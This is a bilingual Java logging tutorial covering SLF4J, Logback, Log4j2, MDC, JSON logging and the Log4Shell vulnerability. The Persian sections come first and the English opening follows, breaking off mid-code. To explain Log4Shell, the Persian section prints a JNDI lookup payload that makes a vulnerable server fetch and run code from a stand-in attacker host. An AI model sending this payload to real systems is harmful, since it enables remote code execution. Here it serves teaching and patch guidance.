این را تولید کن:

{"@timestamp":"2026-07-20T14:03:22.145Z","level":"INFO","logger":"OrderService",
 "thread":"http-1","traceId":"abc-123","message":"Placing order",
 "orderId":5567,"amount":249.90}

حالا سیستم‌هایی مثل Elasticsearch/Kibana یا Grafana Loki می‌توانند مستقیم روی فیلدِ orderId یا amount کوئری بزنند، بدونِ نیازِ به regex شکنندهٔ متنی.

در Logback این کار با کتابخانهٔ محبوبِ logstash-logback-encoder ساده است:

<appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
    <encoder class="net.logstash.logback.encoder.LogstashEncoder"/>
</appender>

و برای افزودنِ فیلدهای دلخواه، همان MDC یا API روانِ SLF4J 2.0 با addKeyValue مستقیم به فیلدهای JSON تبدیل می‌شوند. در Log4j2 معادلش JsonTemplateLayout است.

چرا JSON در دنیای ابری استاندارد شده؟

در محیط‌های containerized و Kubernetes، لاگ‌ها از ده‌ها سرویس جمع می‌شوند و در یک انبارِ مرکزی می‌ریزند. لاگِ متنیِ آزاد را باید با regexهای شکننده پارس کرد. لاگِ JSON از پیش ساختارمند است: هر فیلد نام و نوع دارد. این یعنی جست‌وجوی سریع، داشبوردِ دقیق و آلارمِ قابل‌اعتماد. برای هر سرویسِ جدی که در production اجرا می‌شود، لاگِ JSON عملاً پیش‌فرض شده است.


بخش نُه — درس Log4Shell: وقتی یک قابلیتِ لاگ دنیا را لرزاند

CVE-2021-44228 — Log4Shell

در دسامبر ۲۰۲۱، یکی از خطرناک‌ترین آسیب‌پذیری‌های تاریخِ نرم‌افزار در Log4j2 کشف شد؛ با نامِ Log4Shell و شناسهٔ CVE-2021-44228، با بالاترین نمرهٔ شدت (CVSS 10.0). این باگ روی نسخه‌های log4j-core از 2.0-beta9 تا 2.14.1 اثر داشت و اجازهٔ اجرای کد از راه دور (RCE) را می‌داد.

چه اتفاقی افتاد؟ Log4j2 قابلیتی به نامِ lookup داشت: اگر در متنِ لاگ رشته‌ای مثل ${...} می‌دید، آن را «تفسیر» و جایگزین می‌کرد. یکی از این lookupها ${jndi:...} بود که از طریقِ JNDI (رابطِ نام‌گذاری جاوا) می‌توانست به یک سرورِ راه‌دور وصل شود و یک شیء را از آن‌جا بارگذاری و اجرا کند.

حالا فاجعه را ببین. تصور کن این خطِ به‌ظاهر بی‌گناه را داری:

// username از هدرِ درخواست می‌آید — یعنی مهاجم کنترلش می‌کند
log.info("Received login attempt from user: {}", username);

اگر مهاجم مقدارِ username را برابرِ این بگذارد:

${jndi:ldap://attacker.com/exploit}

آن‌وقت Log4j2 آسیب‌پذیر، این متن را به‌عنوان یک lookup تفسیر می‌کرد، به سرورِ مهاجم وصل می‌شد، یک کلاسِ مخرب را دانلود و اجرا می‌کرد. یعنی مهاجم فقط با پُر کردنِ یک فیلدِ فرمِ ورود یا یک User-Agent، روی سرورِ تو کدِ دلخواه اجرا می‌کرد. چون تقریباً هر سیستمِ جاوایی از Log4j استفاده می‌کرد و تقریباً همه‌جا ورودیِ کاربر لاگ می‌شد، این باگ در عرضِ چند ساعت به کابوسِ جهانی تبدیل شد.

زنجیرهٔ وصله‌ها (درسی در مورد اصلاحِ عجولانه)

  • 2.15.0: تفسیرِ lookup در پیام‌ها را به‌طور پیش‌فرض خاموش کرد و JNDI را محدود کرد — اما ناکافی بود (CVE-2021-45046).
  • 2.16.0: تفسیرِ پیام (message lookups) را کاملاً حذف کرد و JNDI را به‌طور پیش‌فرض خاموش کرد.
  • 2.17.0: یک آسیب‌پذیریِ DoS دیگر را بست (CVE-2021-45105).
  • 2.17.1: آخرین حفرهٔ خانواده را بست (CVE-2021-44832، RCE از طریقِ کانفیگِ JDBC Appender).
حداقلِ نسخهٔ امن: `2.17.1` به بالا

اگر روی هر پروژه‌ای Log4j2 داری، حداقل باید روی 2.17.1 باشی؛ و بهتر است روی خطِ فعلی 2.24.x باشی. نکتهٔ ظریف: Logback به این آسیب‌پذیری آلوده نبود چون اصلاً قابلیتِ JNDI lookup در پیام‌ها را نداشت.

سه درسِ ماندگارِ Log4Shell

۱. ورودیِ کاربر را هرگز به‌عنوان چیزی «قابل‌تفسیر» رفتار نکن. ریشهٔ فاجعه این بود که دادهٔ کاربر می‌توانست به یک دستور تبدیل شود. این همان اصلی است که پشتِ SQL injection و XSS هم هست. ۲. زنجیرهٔ تأمین (supply chain) را جدی بگیر. بیشترِ سازمان‌ها اصلاً نمی‌دانستند Log4j در چه عمقی از وابستگی‌هایشان مخفی است. ابزارهایی مثل SBOM و اسکنِ وابستگی از همین‌جا اهمیت پیدا کردند. ۳. کمینه‌ترین قابلیت (least functionality). قابلیتِ JNDI lookup در لاگ عملاً هیچ‌وقت لازم نبود؛ فقط سطحِ حمله را باز کرد. هرچه قابلیتِ کمتر و پیش‌فرضِ امن‌تر، بهتر.


بخش ده — کارایی و جمع‌بندیِ عملی

چند اصلِ عملی که یک مهندسِ باتجربه رعایت می‌کند:

  • لاگِ پارامتری ({}) را همیشه به‌جای الحاق رشته به‌کار ببر.
  • سطحِ درست را انتخاب کن: DEBUG را در production خاموش نگه دار؛ لاگِ زیادی هم به کارایی و هم به قابلیتِ خواندن آسیب می‌زند.
  • برای حلقه‌های داغ، اگر ساختِ آرگومان‌ها گران است، با if (log.isDebugEnabled()) گارد بگذار (هرچند لاگِ پارامتری معمولاً این را غیرلازم می‌کند).
  • لاگِ ناهمگام را برای throughput بالا در نظر بگیر، اما به هزینهٔ احتمالیِ گم‌شدنِ لاگ در crash آگاه باش.
  • لاگِ JSON + traceID را برای هر سیستمی که در production جدی است پیش‌فرض بگذار.
  • هرگز دادهٔ حساس (رمز، توکن، شمارهٔ کارت، اطلاعاتِ شخصی) را لاگ نکن — لاگ‌ها معمولاً ماندگار و پرمخاطب‌اند و به‌راحتی نشت می‌کنند.

جدول مقایسه: Logback در برابر Log4j2

ویژگی Logback Log4j2
اتصال به SLF4J بومی (بدون پل) نیاز به log4j-slf4j2-impl
نسخهٔ فعلی خطِ 1.5.x خطِ 2.24.x
اصطلاحِ قالب‌بندی Encoder Layout
لاگِ ناهمگام AsyncAppender (BlockingQueue) Async Logger با LMAX Disruptor (lock-free)
کاراییِ async خوب عالی (throughput بالاتر)
معادلِ MDC MDC ThreadContext (map + NDC)
آسیبِ Log4Shell آلوده نبود آلوده بود (تا 2.14.1)
پیش‌فرضِ Spring Boot بله نه (اما به‌راحتی قابل‌تعویض)
در یک نگاه
  • لاگ‌گیری یعنی چاپِ کنترل‌شده: زمان، سطح، مقصد و قالب — نه فقط println.
  • SLF4J یک نماست (فقط قرارداد)، و Logback/Log4j2 پیاده‌سازی (موتورِ واقعی). کدت را روی نما بنویس تا موتور قابل‌تعویض بماند.
  • در classpath باید دقیقاً یک موتور باشد؛ مواظبِ پل‌های متضاد (حلقهٔ بی‌نهایت) باش.
  • لاگِ پارامتری با {} رشته را فقط وقتی می‌سازد که سطح روشن باشد — هم سریع‌تر، هم تمیزتر. آخرین آرگومانِ Throwable کلِ stack trace را چاپ می‌کند.
  • سطوح (TRACEERROR) یک آستانه‌اند: هر logger سطحِ خودش و بالاترها را چاپ می‌کند.
  • Appender مقصد است، Encoder/Layout شکلِ خروجی؛ چرخشِ فایل اختیاری نیست.
  • MDC + correlation ID رد یک درخواست را از میان لاگِ درهم می‌گیرد؛ حتماً در finally پاکش کن تا در thread poolها نشت نکند.
  • لاگِ ناهمگام latency را می‌کاهد؛ Log4j2 با LMAX Disruptor در این زمینه پیشتاز است، اما احتمالِ گم‌شدنِ لاگ در crash را بپذیر.
  • لاگِ JSON لاگ را ماشین‌خوان می‌کند و در دنیای ابری استاندارد است.
  • Log4Shell یادمان داد: دادهٔ کاربر را هرگز «تفسیر» نکن، زنجیرهٔ تأمین را جدی بگیر، و روی 2.17.1+ (بهتر: 2.24.x) بمان.

بخش یازده — پرسش‌و‌پاسخ مصاحبه

۱. تفاوت SLF4J با Logback و Log4j2 چیست؟

SLF4J یک نما (facade) است — فقط مجموعه‌ای از رابط‌ها بدونِ هیچ منطقِ واقعیِ نوشتنِ لاگ. Logback و Log4j2 پیاده‌سازی (implementation) هستند که واقعاً لاگ را قالب‌بندی و در مقصد می‌نویسند. کدِ برنامه فقط با SLF4J کد می‌زند، و موتورِ واقعی در زمانِ اجرا از طریقِ یک provider به آن وصل می‌شود. سودش این است که می‌توانی موتور را بدونِ تغییرِ حتی یک خط از کدت عوض کنی؛ به همین دلیل کتابخانه‌ها همیشه روی SLF4J کد می‌زنند، نه روی یک موتورِ خاص.

۲. چرا `log.debug("x=" + x)` بد است ولی `log.debug("x={}", x)` خوب؟

در حالتِ اول، جاوا قبل از فراخوانیِ متد رشته را کامل می‌سازد و toString() را صدا می‌زند — حتی اگر سطحِ DEBUG خاموش باشد؛ یعنی کارِ هدررفته و فشار روی GC. در حالتِ دوم (پارامتری)، ساختِ رشته به تعویق می‌افتد و فقط وقتی سطح روشن باشد انجام می‌شود. علاوه بر کارایی، پیامِ ثابت از داده جدا می‌ماند که برای جست‌وجو و گروه‌بندیِ لاگ‌ها هم بهتر است.

۳. اگر بخواهی خطا را لاگ کنی، `Throwable` را چطور پاس می‌دهی؟

شیء استثنا را به‌عنوانِ آخرین آرگومان بده (بدونِ {} برایش)؛ SLF4J آن را تشخیص می‌دهد و stack trace کامل را چاپ می‌کند: log.error("Payment failed for order {}", id, e). اشتباهِ رایج این است که فقط e.getMessage() را لاگ کنیم که stack trace را دور می‌ریزد و رد خطا را از دست می‌دهیم.

۴. MDC چیست و چه مشکلی را حل می‌کند؟

MDC (سرنامِ Mapped Diagnostic Context) یک نقشهٔ کلید-مقدارِ thread-local است. هر چیزی در آن بگذاری، به‌طور خودکار در هر خط لاگی که همان thread می‌نویسد قابل چاپ است (با %X{key}). کاربردِ اصلی‌اش گذاشتنِ یک correlation/trace ID در ابتدای درخواست است تا بتوانی از میانِ لاگِ درهمِ صدها درخواستِ هم‌زمان، دقیقاً خط‌های یک درخواست را فیلتر و بازسازی کنی. نکتهٔ حیاتی: چون به thread چسبیده و threadها در pool بازاستفاده می‌شوند، باید در finally با MDC.clear() پاکش کنی تا به درخواستِ بعدی نشت نکند.

۵. اگر کارِ درخواست را به یک thread دیگر بسپاری، MDC منتقل می‌شود؟

نه. چون MDC thread-local است، thread جدید آن را به ارث نمی‌برد. باید دستی با MDC.getCopyOfContextMap() در thread والد کپی بگیری و در thread فرزند با MDC.setContextMap(...) ست کنی (و در انتها پاک کنی). این یکی از دلایلِ رایجِ «گم‌شدنِ traceId» در کدِ ناهمگام و @Async است.

۶. تفاوتِ `AsyncAppender` در Logback و Async Logger در Log4j2 چیست؟

AsyncAppender از یک BlockingQueue معمولی (با قفل) استفاده می‌کند و به‌طور پیش‌فرض وقتی صف ۸۰٪ پُر شود، پیام‌های سطحِ پایین (INFO و پایین‌تر) را دور می‌ریزد. Async Logger در Log4j2 از LMAX Disruptor استفاده می‌کند: یک ring buffer بدونِ قفل (lock-free) که throughput بسیار بالاتر و latency پایین‌تری می‌دهد. برای بارهای سنگین، رویکردِ Log4j2 معمولاً کارآمدتر است.

۷. Log4Shell دقیقاً چه بود و چطور کار می‌کرد؟

Log4Shell همان CVE-2021-44228 است؛ یک آسیب‌پذیریِ RCE با شدتِ ۱۰ در Log4j2 (نسخه‌های 2.0-beta9 تا 2.14.1). ریشه‌اش قابلیتِ lookup بود: Log4j2 رشته‌های ${...} داخلِ پیامِ لاگ را تفسیر می‌کرد، از جمله ${jndi:ldap://...}. اگر ورودیِ کنترل‌شده توسط مهاجم (مثلاً یک هدرِ HTTP) لاگ می‌شد و شاملِ چنین رشته‌ای بود، Log4j به سرورِ مهاجم وصل می‌شد و یک کلاسِ مخرب را دانلود و اجرا می‌کرد. Logback به این آلوده نبود چون چنین قابلیتی نداشت.

۸. حداقلِ نسخهٔ امنِ Log4j2 چیست و چرا چند وصله لازم شد؟

حداقلِ نسخهٔ کاملاً امن 2.17.1 است. چند وصله لازم شد چون اصلاحاتِ اولیه ناقص بودند: 2.15.0 lookup را محدود کرد ولی کافی نبود، 2.16.0 message lookup را کاملاً حذف و JNDI را پیش‌فرض خاموش کرد، 2.17.0 یک DoS را بست، و 2.17.1 آخرین حفره (RCE از JDBC Appender، CVE-2021-44832) را. درسِ کلی: اصلاحِ عجولانه و ناقص می‌تواند حسِ کاذبِ امنیت بدهد.

۹. سطوحِ لاگ را نام ببر و بگو تنظیمِ سطح روی INFO یعنی چه؟

از کم به زیاد: TRACE < DEBUG < INFO < WARN < ERROR. وقتی سطحِ یک logger را روی INFO می‌گذاری، آن سطح و همهٔ سطوحِ بالاتر (WARN و ERROR) چاپ می‌شوند، ولی DEBUG و TRACE فیلتر می‌شوند. این همان مکانیزمی است که اجازه می‌دهد در توسعه پرحرف باشی و در production فقط مهم‌ها را نگه داری، بدونِ تغییرِ کد — فقط با عوض کردنِ کانفیگ.

۱۰. تفاوتِ Appender و Encoder/Layout چیست؟

Appender مقصدِ لاگ است: کنسول، فایل، شبکه و... . Encoder (در Logback) یا Layout (در Log4j2) مسئولِ شکلِ خروجی است: چه فیلدهایی، با چه ترتیب و قالبی، به‌صورتِ متن یا JSON. یک logger می‌تواند چند appender داشته باشد، و هر appender یک encoder/layout. جداییِ این دو یعنی می‌توانی همان لاگ را هم‌زمان با یک قالب روی کنسول و با قالبی دیگر در فایل بنویسی.

۱۱. لاگِ JSON چه مزیتی بر لاگِ متنی دارد؟

لاگِ JSON ماشین‌خوان است: هر فیلد نام و نوع دارد، پس ابزارهای تجمیعِ لاگ (مثل Elasticsearch/Kibana یا Loki) می‌توانند مستقیم روی فیلدها کوئری، فیلتر و آلارم بزنند، بدونِ regexهای شکنندهٔ متنی. در محیط‌های ابری و Kubernetes که لاگ از ده‌ها سرویس تجمیع می‌شود، این عملاً استاندارد شده. در Logback با logstash-logback-encoder و در Log4j2 با JsonTemplateLayout پیاده می‌شود.

۱۲. چه اطلاعاتی را نباید لاگ کرد و چرا؟

دادهٔ حساس: رمزِ عبور، توکن‌های احراز هویت، شمارهٔ کارتِ بانکی، اطلاعاتِ هویتیِ شخصی (PII) و کلیدهای رمزنگاری. دلیل: لاگ‌ها معمولاً برای مدتِ طولانی نگه داشته می‌شوند، در چند سیستم کپی می‌شوند و افرادِ زیادی (توسعه‌دهنده، پشتیبانی، ابزارِ مانیتورینگ) به آن‌ها دسترسی دارند؛ پس یک نقطهٔ نشتِ آسان‌اند. علاوه بر ریسکِ امنیتی، لاگ کردنِ PII می‌تواند نقضِ مقرراتی مثل GDPR باشد.

۱۳. چطور مطمئن می‌شوی فقط یک موتورِ لاگ در classpath است و چرا مهم است؟

با mvn dependency:tree یا gradle dependencies درختِ وابستگی را بررسی می‌کنی. اهمیتش این است که SLF4J به دقیقاً یک provider نیاز دارد: اگر هیچ‌کدام نباشد، لاگ‌ها بی‌سروصدا گم می‌شوند (no-op)؛ اگر چند تا باشد، SLF4J هشدارِ multiple bindings می‌دهد و یکی را تصادفی انتخاب می‌کند. خطرناک‌تر، اگر دو پلِ متضاد (مثلاً log4j-to-slf4j و log4j-slf4j2-impl) با هم باشند، یک حلقهٔ بی‌نهایت و StackOverflowError رخ می‌دهد.

۱۴. لاگِ ناهمگام چه ریسکی دارد و کِی نباید از آن استفاده کرد؟

لاگِ ناهمگام لاگ‌ها را در یک بافر/صف می‌گذارد و بعداً می‌نویسد؛ پس اگر برنامه ناگهانی crash کند، لاگ‌هایی که هنوز نوشته نشده بودند از دست می‌روند — درست همان لحظه‌ای که برای تشخیصِ علتِ crash بیشترین نیاز را به آن‌ها داری. برای لاگ‌های حسابرسیِ (audit) حیاتی یا هر جایی که تضمینِ نوشتنِ هر پیام لازم است، لاگِ همگام یا حداقل با flush امن انتخابِ درست‌تری است.

It's three in the morning and your payment service just went down in production. Users are getting errors, money isn't moving, and your phone is ringing. You can't watch the code run — all you can do is follow the trail the program left behind. That trail is the log.

The airplane's black box

Every airplane carries a black box (flight recorder) that continuously logs altitude, speed, control inputs, and cockpit audio. When everything goes fine, nobody touches it. But when there's a crash, that black box is the only witness, and it says exactly what happened, second by second. Your application's log is that black box: silent on the good days, but in a crisis it's the one thing that separates guessing from knowing.

This chapter is the operational heart of any serious system. Logging looks trivial at first — "just print a line" — but behind that simplicity sits a whole ecosystem of architectural decisions, security pitfalls, and performance trade-offs. As always, we grab the idea with a simple analogy first, then learn its technical name, then wire it back to real code.

Roadmap for this chapter
  1. Why println isn't enough and what real logging buys you.
  2. Facade vs implementation — why SLF4J is just a "contract" and Logback/Log4j2 are the real "engines."
  3. The dependency picture: binding, bridge, and the classic "many engines on one facade" problem.
  4. Parameterized logging with {} and why string concatenation (+) is a cardinal sin.
  5. Log levels (TRACE through ERROR) and when each one applies.
  6. Appenders, Encoders and Layouts — where and in what shape the log is written (real Logback and Log4j2 config).
  7. MDC and correlation IDs — how to trace one request through thousands of interleaved log lines.
  8. Async logging: AsyncAppender vs the LMAX Disruptor-based Async Logger.
  9. Structured/JSON logging to make logs machine-readable.
  10. The Log4Shell lesson (CVE-2021-44228) — how a logging feature became the biggest vulnerability of the decade.
  11. Performance and a full interview Q&A section at the end.

Part 0 — Why do we log at all?

Let's start with the simplest possible thing. A beginner debugging writes this:

System.out.println("user logged in: " + userId);

It works... until your program becomes real. Then these questions go unanswered:

  • When? This line has no timestamp. You don't know what time it happened.
  • Which thread? On a server serving hundreds of concurrent requests, you don't know which request this line belongs to.
  • How important? Is this a routine message or a catastrophic error? println has no notion of "severity."
  • Where does it go? It always prints to the console. You can't say "write this to a file, send that one to the monitoring system."
  • How do I turn it off? To silence it you have to change the code and rebuild and redeploy. In production all these messages print together and destroy performance.
Logging means "controlled printing"

A logging library is just println with five superpowers: timing (automatic timestamps), leveling (message severity), routing (where the log goes), formatting (the output shape), and runtime configuration (turn things on/off with a config file, no code change). Logging isn't "printing"; it's "controllable, manageable printing."

Now that we understand why println isn't enough, we have to decide which library to use. And that brings us to the single most important idea in the whole chapter.


Part 1 — Facade vs implementation: the heart of it

A wall socket and a universal adapter

Imagine you have a laptop you want to take to every country. The wall socket in Iran differs from the UK and the US. If you hard-wire your laptop charger to one specific plug shape, it's useless in the next country. The solution? A universal adapter. You always plug into the adapter (the interface is always the same), and the adapter connects to whatever socket is behind it. Your code is the plug, SLF4J is the universal adapter, and Logback or Log4j2 is the wall socket — the engine that actually produces the electricity (the log).

This separation has two fundamental concepts:

  • Facade: a set of interfaces your code talks to and only to. Your code doesn't know or care which engine runs behind it. SLF4J (short for Simple Logging Facade for Java) is exactly this — just a contract, with no real log-writing logic of its own.
  • Implementation: the engine that actually does the work; it timestamps, writes to files, rotates logs, and so on. Logback and Log4j2 are two such engines.
// Your code only touches the SLF4J facade — not Logback and not Log4j2
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class OrderService {
    // one logger per class; static final because it's created once and never changes
    private static final Logger log = LoggerFactory.getLogger(OrderService.class);

    public void place(Order order) {
        log.info("Placing order {}", order.id());
    }
}

Look closely at this code. There's no mention of Logback or Log4j2. If tomorrow you decide to swap your engine from Logback to Log4j2, you don't have to change a single import — you just swap the dependency in Maven/Gradle and you're done. That is the power of the facade.

Why does this separation matter so much?

Imagine you write an open-source library used by thousands of projects. If you tie your library directly to Logback, every project that uses Log4j2 is forced to drag two logging engines around. But if you only depend on SLF4J, each project picks its own engine. That's exactly why nearly all major Java libraries (Spring, Hibernate, Kafka, ...) code against SLF4J rather than a specific engine.

Meet the two implementations

  • Logback: written by the same person who created SLF4J (Ceki Gülcü). It works natively with SLF4J with no adapter, so it's fast and low-friction. The current active line is 1.5.x (e.g. logback-classic 1.5.18), which requires Java 11+ and SLF4J 2.0.1+ at runtime. It's the Spring Boot default.
  • Log4j2: a complete rewrite of the old Log4j by the Apache foundation. The current line is 2.24.x. Its strength is extremely high throughput in async mode using the LMAX Disruptor library. For very heavy loads it's often the first choice.
There's a third name too: JUL and Log4j 1.x

Java has a built-in logging system called java.util.logging (abbreviated JUL) that is weak and rarely used. Log4j 1.x was the first-generation Log4j that reached end-of-life years ago and should no longer be used. When we say Log4j2, we mean an entirely different, modern product — not a continuation of Log4j 1.


Part 2 — The dependency picture: binding and bridge

This is where many people get confused, so let's go slowly. SLF4J is just a contract; it can't write anything by itself. At runtime, an engine must be bound to it. That connection is called a binding or provider.

Golden rule: exactly one engine

On the classpath there must be exactly one SLF4J provider. If there is no engine, SLF4J falls back to a no-op and logs vanish silently (a NOP message warns you). If there is more than one, SLF4J prints a "multiple bindings" message and picks one arbitrarily. Your goal is always: one facade (SLF4J) + exactly one engine.

For Logback, the dependencies look like this (logback-classic brings a compatible slf4j-api along):

<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-api</artifactId>
    <version>2.0.17</version>
</dependency>
<dependency>
    <groupId>ch.qos.logback</groupId>
    <artifactId>logback-classic</artifactId>
    <version>1.5.18</version>
</dependency>

For Log4j2 as the engine behind SLF4J, you need a "bridge" that carries SLF4J's messages to Log4j2:

<!-- SLF4J facade + SLF4J-to-Log4j2 bridge + Log4j2 core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-slf4j2-impl</artifactId>  <!-- for SLF4J 2.x; for SLF4J 1.x it must be log4j-slf4j-impl -->
    <version>2.24.3</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.24.3</version>
</dependency>
Deadly trap: the wrong bridge in the opposite direction

A dangerous mistake is having two opposing bridges on the classpath at once: e.g. both log4j-to-slf4j (which routes Log4j2 to SLF4J) and log4j-slf4j2-impl (which routes SLF4J to Log4j2). This creates an infinite loop (StackOverflowError) because the log keeps getting passed back and forth between the two libraries. Always inspect your dependency tree with mvn dependency:tree or gradle dependencies and make sure there's exactly one path.

SLF4J 2.0 technical note: from static binding to ServiceLoader

In SLF4J 1.x, the engine was bound via a fixed class called StaticLoggerBinder. From SLF4J 2.0 onward, this mechanism changed to Java's standard ServiceLoader (the SLF4JServiceProvider interface). The result is a cleaner binding and better compatibility with the Java module system. If you see old code hunting for StaticLoggerBinder, know that it belongs to the 1.x world.


Part 3 — Parameterized logging: why + is a sin

Now we learn one of the most important professional habits. Compare these two lines:

// BAD: the string is always built, even if DEBUG is off
log.debug("User " + user.getId() + " loaded " + orders.size() + " orders");

// GOOD: with placeholders; the string is built only when DEBUG is on
log.debug("User {} loaded {} orders", user.getId(), orders.size());

Why does this difference matter so much? Let's think like the compiler.

A cook who prepares a meal nobody eats

Suppose you tell the cook: "Prepare a full plate of stew, then ask me whether I'm even hungry." If I'm not hungry, all that work was wasted. Logging with + is exactly that: Java first builds the whole string (cooks the stew), then hands it to the debug method, and only there does it check whether DEBUG is on. If it's off, all that concatenation and toString() was wasted. But with {}, Java first asks "are you hungry?" (is the level on?) and only builds the string if the answer is yes.

In a real program that runs millions of times in a hot loop with DEBUG off in production, this difference means millions of pointless string builds and pressure on the garbage collector. Parameterized logging drives that cost to zero.

Three benefits of parameterized logging
  1. Performance: if the level is off, no string is built and no toString() is called.
  2. Readability: the message and the data stay separate; the constant log text is always the same, which is great for searching and grouping.
  3. Security (partial): separating text from data is a good habit — though, as we'll see in the Log4Shell section, this alone is not enough.

A subtle point: if the last argument is a Throwable (an error/exception), SLF4J cleverly detects it as an exception and prints the full stack trace — no {} needed for it:

try {
    processPayment(order);
} catch (PaymentException e) {
    // order.id() feeds the {}; e is the last argument and prints the whole stack trace
    log.error("Payment failed for order {}", order.id(), e);
}
Never log just `e.getMessage()`

A common mistake: log.error("failed: " + e.getMessage()). This prints only a short line and throws away the stack trace — meaning you can't tell which line the error came from. Always pass the e object itself as the last argument so the full error trail is preserved.

SLF4J 2.0 fluent API

From SLF4J 2.0 onward there's also a fluent API, great for structured logging with key-value pairs:

log.atInfo()
   .setMessage("Order placed")
   .addKeyValue("orderId", order.id())
   .addKeyValue("amount", order.total())
   .log();

This style becomes especially valuable when we move to JSON logging, because each key-value can map directly to a field in the JSON output.


Part 4 — Log levels: the language of severity

Every log message has a level that says how important it is. The levels have a fixed order, from least to most important:

Level Meaning When to use it
TRACE finest detail step-by-step execution tracing; usually only during deep debugging
DEBUG developer info variable values, logic paths; usually off in production
INFO important normal events "server started," "order placed"; business events
WARN something is suspicious a retry, a resource running low; not an error yet but watch out
ERROR something failed an exception, a payment failure; needs attention

The key point is this: when you set a logger's level to, say, INFO, that logger prints that level and everything above it. So INFO, WARN, and ERROR print, but DEBUG and TRACE are ignored. This is exactly what lets you be chatty in development and keep only the important stuff in production — without changing a single line of code.

Your phone's notification filter

Think about your phone. Normally all notifications come through (like TRACE). At bedtime you set "Do Not Disturb" to "important calls only" (like ERROR). The apps themselves don't change; you've just raised the threshold. A logger's level is exactly that threshold: any message whose severity is below the threshold gets filtered out.

Subtle difference: FATAL in Log4j2

Log4j2 has an extra level called FATAL (above ERROR) plus OFF/ALL. But SLF4J's standard API has no FATAL and folds it into ERROR. Since your code is written against the SLF4J facade, in practice you stick to the five levels TRACE through ERROR, and that's enough.


Part 5 — Appenders, Encoders and Layouts: where and how the log goes

So far we've figured out what to log. Now we ask where the log goes and in what shape. Three key terms:

  • Appender (in Logback and Log4j2): the log's "destination." One appender means "write to the console," another means "write to this file," a third means "send to the monitoring system." A single logger can be attached to multiple appenders at once.
  • Encoder (Logback's term): responsible for turning a log event into the bytes that actually get written — that is, both formatting (which fields, in what order) and serialization. In modern Logback, the encoder replaced the old layout.
  • Layout (Log4j2's term): the same formatting concept but in the Log4j2 world. For example PatternLayout or JsonTemplateLayout.
Post, envelope, and address

Picture a letter (a log event). The Layout/Encoder is what you do with the letter's content: how to write it, in what font, what header info (date, sender). The Appender is the mailbox: you drop the letter in the local box, or send it by express courier, or fax it. You can both file a letter away (a file) and read it aloud (the console) — that's multiple appenders.

A real Logback config (logback.xml)

<configuration>
    <!-- Destination 1: console -->
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder>
            <!-- pattern: time, thread, level, logger name, traceId from MDC, message -->
            <pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} %X{traceId} - %msg%n</pattern>
        </encoder>
    </appender>

    <!-- Destination 2: rolling file -->
    <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
        <file>logs/app.log</file>
        <rollingPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy">
            <!-- a new file every day or every 100 MB; compressed with gz -->
            <fileNamePattern>logs/app-%d{yyyy-MM-dd}.%i.log.gz</fileNamePattern>
            <maxFileSize>100MB</maxFileSize>
            <maxHistory>30</maxHistory>       <!-- keep 30 days -->
            <totalSizeCap>3GB</totalSizeCap>  <!-- cap total disk usage -->
        </rollingPolicy>
        <encoder>
            <pattern>%d{ISO8601} [%thread] %-5level %logger - %msg%n</pattern>
        </encoder>
    </appender>

    <!-- log this package with more detail (DEBUG) -->
    <logger name="com.example.payment" level="DEBUG"/>

    <!-- everything else INFO and above, to both destinations -->
    <root level="INFO">
        <appender-ref ref="CONSOLE"/>
        <appender-ref ref="FILE"/>
    </root>
</configuration>
Log rotation is not optional

If you write logs to a file with no rotation, that file grows without bound and one day fills the server's disk and takes the whole service down. RollingFileAppender with SizeAndTimeBasedRollingPolicy solves this: it creates a new file each day or when a size limit is hit, compresses old ones, and deletes them after a while. totalSizeCap also caps the total space consumed.

The same config in Log4j2 (log4j2.xml)

<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} %X{traceId} - %msg%n"/>
        </Console>
        <RollingFile name="File" fileName="logs/app.log"
                     filePattern="logs/app-%d{yyyy-MM-dd}-%i.log.gz">
            <PatternLayout pattern="%d{ISO8601} [%t] %-5level %logger - %msg%n"/>
            <Policies>
                <TimeBasedTriggeringPolicy/>
                <SizeBasedTriggeringPolicy size="100MB"/>
            </Policies>
            <DefaultRolloverStrategy max="30"/>
        </RollingFile>
    </Appenders>
    <Loggers>
        <Logger name="com.example.payment" level="debug"/>
        <Root level="info">
            <AppenderRef ref="Console"/>
            <AppenderRef ref="File"/>
        </Root>
    </Loggers>
</Configuration>

Notice how similar the structures are: both have the appender concept, a formatting pattern, a root level, and per-package overrides. Since your Java code is written against SLF4J, switching between the two is just swapping the dependency and the config file — not changing code.


Part 6 — MDC and correlation IDs: tracing one request

Now we reach one of the most practical and widely used tools. Picture the problem: your server serves 500 concurrent requests, all writing into a single log file at once. The logs get interleaved. Now a user says "my order didn't go through." How do you find, among hundreds of thousands of scrambled lines, exactly the lines for that one request?

A parcel's tracking number

When you mail a package, you get a unique tracking number. Throughout its journey, that package gets scanned dozens of times — warehouse, truck, sorting center, courier — and each scan is recorded under that same tracking number. Later you can reconstruct the entire journey of just that package, separate from millions of others. A correlation ID (or trace ID) is exactly that tracking number for a request.

The technical tool for this is MDC: short for Mapped Diagnostic Context. MDC is a key-value map bound to the current thread (thread-local). Anything you put in the MDC can automatically be printed in every log line that same thread writes — without you having to pass it to every single log call.

The practical pattern: at the start of each HTTP request, generate a unique ID and put it in the MDC; at the end, clear it. With a servlet filter:

import org.slf4j.MDC;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import java.util.UUID;

public class TraceIdFilter implements Filter {

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
            throws IOException, ServletException {
        // if an upstream service sent a traceId, keep it (chained tracing)
        String traceId = ((HttpServletRequest) req).getHeader("X-Trace-Id");
        if (traceId == null || traceId.isBlank()) {
            traceId = UUID.randomUUID().toString();
        }
        MDC.put("traceId", traceId);
        try {
            chain.doFilter(req, res); // the whole request runs under this traceId
        } finally {
